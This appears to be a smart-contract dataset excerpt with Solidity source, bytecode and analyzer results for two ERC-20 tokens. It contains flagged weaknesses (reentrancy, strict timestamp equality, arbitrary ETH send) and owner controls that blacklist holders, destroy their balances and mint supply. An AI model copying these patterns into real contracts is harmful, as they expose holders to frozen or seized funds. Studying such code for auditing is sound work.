uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 12);
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>2);
_maxbuylimit = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e1461049e578063e6ec64ec146104e4578063f2fde38b14610504578063fc588c041461052457600080fd5b8063a9059cbb1461043e578063b515566a1461045e578063cf0848f71461047e57600080fd5b806370a0823114610372578063715018a6146103925780637c938bb4146103a75780638da5cb5b146103c757806390d49b9d146103ef57806395d89b411461040f57600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102cb578063437823ec14610304578063476343ee146103245780635342acb41461033957600080fd5b8063313ce5671461027757806331c2d8471461028b5780633a0f23b3146102ab57600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ed57806318160ddd1461021d57806323b872dd14610242578063293230b81461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610544565b005b3480156101b457600080fd5b5060408051808201909152600a81526953484942524f2044414f60b01b60208201525b6040516101e4919061195a565b60405180910390f35b3480156101f957600080fd5b5061020d6102083660046119d4565b610590565b60405190151581526020016101e4565b34801561022957600080fd5b50670de0b6b3a76400005b6040519081526020016101e4565b34801561024e57600080fd5b5061020d61025d366004611a00565b6105a7565b34801561026e57600080fd5b506101a6610610565b34801561028357600080fd5b506009610234565b34801561029757600080fd5b506101a66102a6366004611a57565b610676565b3480156102b757600080fd5b506101a66102c6366004611b1c565b61070c565b3480156102d757600080fd5b5061020d6102e6366004611b3e565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561031057600080fd5b506101a661031f366004611b3e565b610749565b34801561033057600080fd5b506101a6610797565b34801561034557600080fd5b5061020d610354366004611b3e565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037e57600080fd5b5061023461038d366004611b3e565b6107d1565b34801561039e57600080fd5b506101a66107f3565b3480156103b357600080fd5b506101a66103c2366004611b3e565b610829565b3480156103d357600080fd5b506000546040516001600160a01b0390911681526020016101e4565b3480156103fb57600080fd5b506101a661040a366004611b3e565b610a84565b34801561041b57600080fd5b5060408051808201909152600681526553484942524f60d01b60208201526101d7565b34801561044a57600080fd5b5061020d6104593660046119d4565b610afe565b34801561046a57600080fd5b506101a6610479366004611a57565b610b0b565b34801561048a57600080fd5b506101a6610499366004611b3e565b610c24565b3480156104aa57600080fd5b506102346104b9366004611b5b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104f057600080fd5b506101a66104ff366004611b94565b610c6f565b34801561051057600080fd5b506101a661051f366004611b3e565b610cab565b34801561053057600080fd5b506101a661053f366004611b94565b610d43565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161056e90611bad565b60405180910390fd5b6000610582306107d1565b905061058d81610d7f565b50565b600061059d338484610ef9565b5060015b92915050565b60006105b484848461101d565b610606843361060185604051806060016040528060288152602001611d28602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611443565b610ef9565b5060019392505050565b6000546001600160a01b0316331461063a5760405162461bcd60e51b815260040161056e90611bad565b600d54600160a01b900460ff1661065057600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b031633146106a05760405162461bcd60e51b815260040161056e90611bad565b60005b8151811015610708576000600560008484815181106106c4576106c4611be2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061070081611c0e565b9150506106a3565b5050565b6000546001600160a01b031633146107365760405162461bcd60e51b815260040161056e90611bad565b600f805460ff1916911515919091179055565b6000546001600160a01b031633146107735760405162461bcd60e51b815260040161056e90611bad565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610708573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105a19061147d565b6000546001600160a01b0316331461081d5760405162461bcd60e51b815260040161056e90611bad565b6108276000611501565b565b6000546001600160a01b031633146108535760405162461bcd60e51b815260040161056e90611bad565b600d54600160a01b900460ff16156108bb5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b606482015260840161056e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610912573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109369190611c29565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a79190611c29565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a189190611c29565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610aae5760405162461bcd60e51b815260040161056e90611bad565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061059d33848461101d565b6000546001600160a01b03163314610b355760405162461bcd60e51b815260040161056e90611bad565b60005b815181101561070857600d5482516001600160a01b0390911690839083908110610b6457610b64611be2565b60200260200101516001600160a01b031614158015610bb55750600c5482516001600160a01b0390911690839083908110610ba157610ba1611be2565b60200260200101516001600160a01b031614155b15610c1257600160056000848481518110610bd257610bd2611be2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c1c81611c0e565b915050610b38565b6000546001600160a01b03163314610c4e5760405162461bcd60e51b815260040161056e90611bad565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c995760405162461bcd60e51b815260040161056e90611bad565b600c8110610ca657600080fd5b600855565b6000546001600160a01b03163314610cd55760405162461bcd60e51b815260040161056e90611bad565b6001600160a01b038116610d3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161056e565b61058d81611501565b6000546001600160a01b03163314610d6d5760405162461bcd60e51b815260040161056e90611bad565b60028111610d7a57600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc757610dc7611be2565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e449190611c29565b81600181518110610e5757610e57611be2565b6001600160a01b039283166020918202929092010152600c54610e7d9130911684610ef9565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb6908590600090869030904290600401611c46565b600060405180830381600087803b158015610ed057600080fd5b505af1158015610ee4573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161056e565b6001600160a01b038216610fbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161056e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161056e565b6001600160a01b0382166110e35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161056e565b600081116111455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161056e565b6001600160a01b03831660009081526005602052604090205460ff16156111ed5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a40161056e565b6001600160a01b03831660009081526004602052604081205460ff1615801561122f57506001600160a01b03831660009081526004602052604090205460ff16155b80156112455750600d54600160a81b900460ff16155b80156112755750600d546001600160a01b03858116911614806112755750600d546001600160a01b038481169116145b1561143157600d54600160b81b900460ff166112d35760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e604482015260640161056e565b50600d546001906001600160a01b0385811691161480156113025750600c546001600160a01b03848116911614155b80156113105750600f5460ff165b15611361576000611320846107d1565b905061134a6064611344600a54670de0b6b3a764000061155190919063ffffffff16565b906115d0565b6113548483611612565b111561135f57600080fd5b505b600e5442141561138f576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061139a306107d1565b600d54909150600160b01b900460ff161580156113c55750600d546001600160a01b03868116911614155b1561142f57801561142f57600d546113f99060649061134490600f906113f3906001600160a01b03166107d1565b90611551565b81111561142657600d546114239060649061134490600f906113f3906001600160a01b03166107d1565b90505b61142f81610d7f565b505b61143d84848484611671565b50505050565b600081848411156114675760405162461bcd60e51b815260040161056e919061195a565b5060006114748486611cb7565b95945050505050565b60006006548211156114e45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161056e565b60006114ee611774565b90506114fa83826115d0565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611560575060006105a1565b600061156c8385611cce565b9050826115798583611ced565b146114fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161056e565b60006114fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611797565b60008061161f8385611d0f565b9050838110156114fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161056e565b808061167f5761167f6117c5565b60008060008061168e876117e1565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116bb9085611828565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116ea9084611612565b6001600160a01b03891660009081526001602052604090205561170c8161186a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175191815260200190565b60405180910390a3505050508061176d5761176d600954600855565b5050505050565b60008060006117816118b4565b909250905061179082826115d0565b9250505090565b600081836117b85760405162461bcd60e51b815260040161056e919061195a565b5060006114748486611ced565b6000600854116117d457600080fd5b6008805460095560009055565b6000806000806000806117f6876008546118f4565b915091506000611804611774565b90506000806118148a8585611921565b909b909a5094985092965092945050505050565b60006114fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611443565b6000611874611774565b905060006118828383611551565b3060009081526001602052604090205490915061189f9082611612565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118cf82826115d0565b8210156118eb57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061190760646113448787611551565b905060006119158683611828565b96919550909350505050565b6000808061192f8685611551565b9050600061193d8686611551565b9050600061194b8383611828565b92989297509195505050505050565b600060208083528351808285015260005b818110156119875785810183015185820160400152820161196b565b81811115611999576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058d57600080fd5b80356119cf816119af565b919050565b600080604083850312156119e757600080fd5b82356119f2816119af565b946020939093013593505050565b600080600060608486031215611a1557600080fd5b8335611a20816119af565b92506020840135611a30816119af565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a6a57600080fd5b823567ffffffffffffffff80821115611a8257600080fd5b818501915085601f830112611a9657600080fd5b813581811115611aa857611aa8611a41565b8060051b604051601f19603f83011681018181108582111715611acd57611acd611a41565b604052918252848201925083810185019188831115611aeb57600080fd5b938501935b82851015611b1057611b01856119c4565b84529385019392850192611af0565b98975050505050505050565b600060208284031215611b2e57600080fd5b813580151581146114fa57600080fd5b600060208284031215611b5057600080fd5b81356114fa816119af565b60008060408385031215611b6e57600080fd5b8235611b79816119af565b91506020830135611b89816119af565b809150509250929050565b600060208284031215611ba657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c2257611c22611bf8565b5060010190565b600060208284031215611c3b57600080fd5b81516114fa816119af565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c965784516001600160a01b031683529383019391830191600101611c71565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cc957611cc9611bf8565b500390565b6000816000190483118215151615611ce857611ce8611bf8565b500290565b600082611d0a57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d2257611d22611bf8565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f243be338e5398994d183e2a109b27dd8cf166da8753855593a27b1689e2830764736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,166 |
0x758f4f55d7d00c3dac1155069351526775206f2a
|
/**
*Submitted for verification at Etherscan.io on 2019-11-23
*/
/**
*Submitted for verification at Etherscan.io on 2017-11-28
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public totalCount;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded VRG) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
totalCount -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract VRGToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function VRGToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
totalCount = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return totalCount;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(totalCount + amount > totalCount);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
totalCount += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(totalCount >= amount);
require(balances[owner] >= amount);
totalCount -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x6060604052361561017a5763ffffffff60e060020a60003504166306fdde03811461017f5780630753c30c14610209578063095ea7b31461022a5780630e136b191461024c5780630ecb93c01461027357806318160ddd1461029257806323b872dd146102b757806326976e3f146102df57806327e235e31461030e578063313ce5671461032d57806334eafb111461034057806335390714146103535780633f4ba83a1461036657806359bf1abe146103795780635c658165146103985780635c975abb146103bd57806370a08231146103d05780638456cb59146103ef578063893d20e8146104025780638da5cb5b1461041557806395d89b4114610428578063a9059cbb1461043b578063c0324c771461045d578063cc872b6614610476578063db006a751461048c578063dd62ed3e146104a2578063dd644f72146104c7578063e47d6060146104da578063e4997dc5146104f9578063e5b5019a14610518578063f2fde38b1461052b578063f3bdc2281461054a575b600080fd5b341561018a57600080fd5b610192610569565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ce5780820151838201526020016101b6565b50505050905090810190601f1680156101fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021457600080fd5b610228600160a060020a0360043516610607565b005b341561023557600080fd5b610228600160a060020a03600435166024356106aa565b341561025757600080fd5b61025f610757565b604051901515815260200160405180910390f35b341561027e57600080fd5b610228600160a060020a0360043516610767565b341561029d57600080fd5b6102a56107e7565b60405190815260200160405180910390f35b34156102c257600080fd5b610228600160a060020a036004358116906024351660443561086e565b34156102ea57600080fd5b6102f2610932565b604051600160a060020a03909116815260200160405180910390f35b341561031957600080fd5b6102a5600160a060020a0360043516610941565b341561033857600080fd5b6102a5610953565b341561034b57600080fd5b6102a5610959565b341561035e57600080fd5b6102a561095f565b341561037157600080fd5b610228610965565b341561038457600080fd5b61025f600160a060020a03600435166109e4565b34156103a357600080fd5b6102a5600160a060020a0360043581169060243516610a06565b34156103c857600080fd5b61025f610a23565b34156103db57600080fd5b6102a5600160a060020a0360043516610a33565b34156103fa57600080fd5b610228610ad3565b341561040d57600080fd5b6102f2610b57565b341561042057600080fd5b6102f2610b66565b341561043357600080fd5b610192610b75565b341561044657600080fd5b610228600160a060020a0360043516602435610be0565b341561046857600080fd5b610228600435602435610cb9565b341561048157600080fd5b610228600435610d4f565b341561049757600080fd5b610228600435610dfe565b34156104ad57600080fd5b6102a5600160a060020a0360043581169060243516610eaf565b34156104d257600080fd5b6102a5610f5a565b34156104e557600080fd5b61025f600160a060020a0360043516610f60565b341561050457600080fd5b610228600160a060020a0360043516610f75565b341561052357600080fd5b6102a5610ff2565b341561053657600080fd5b610228600160a060020a0360043516610ff8565b341561055557600080fd5b610228600160a060020a036004351661104e565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ff5780601f106105d4576101008083540402835291602001916105ff565b820191906000526020600020905b8154815290600101906020018083116105e257829003601f168201915b505050505081565b60005433600160a060020a0390811691161461062257600080fd5b600a805460a060020a74ff0000000000000000000000000000000000000000199091161773ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051600160a060020a03909116815260200160405180910390a150565b604060443610156106ba57600080fd5b600a5460a060020a900460ff161561074857600a54600160a060020a031663aee92d3333858560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b151561072f57600080fd5b6102c65a03f1151561074057600080fd5b505050610752565b610752838361110c565b505050565b600a5460a060020a900460ff1681565b60005433600160a060020a0390811691161461078257600080fd5b600160a060020a03811660009081526006602052604090819020805460ff191660011790557f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc90829051600160a060020a03909116815260200160405180910390a150565b600a5460009060a060020a900460ff161561086657600a54600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561084457600080fd5b6102c65a03f1151561085557600080fd5b50505060405180519050905061086b565b506001545b90565b60005460a060020a9004